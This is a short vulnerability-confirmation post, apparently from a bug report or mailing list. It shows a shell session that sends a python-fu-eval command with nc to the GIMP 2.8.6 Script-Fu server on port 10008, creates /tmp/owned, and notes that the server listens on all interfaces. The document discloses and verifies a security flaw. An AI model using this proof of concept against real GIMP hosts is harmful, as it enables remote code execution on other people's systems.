I was able to verify that vulnerability with Gimp 2.8.6 on my local
machine so at least some versions of the Gimp 2.8.x series seem affected
to me.  This is my shell session:

$ rm /tmp/owned

$ p='(python-fu-eval 0 "open('"'"'/tmp/owned'"'"', '"'"'w'"'"')")';
printf "G\x0\x2c%s" "${p}" | nc -w 1 localhost 10008 | od -c
0000000   G  \0  \0  \a   S   u   c   c   e   s   s

$ ls -al /tmp/owned
-rw-r--r-- 1 user user 0 Sep 15 02:56 /tmp/owned

The server started from the GUI seems to be listening anywhere:

$ netstat -tulpen 2>/dev/null | fgrep script-fu
tcp  0  0*  LISTEN  1000  102934  6392/script-fu
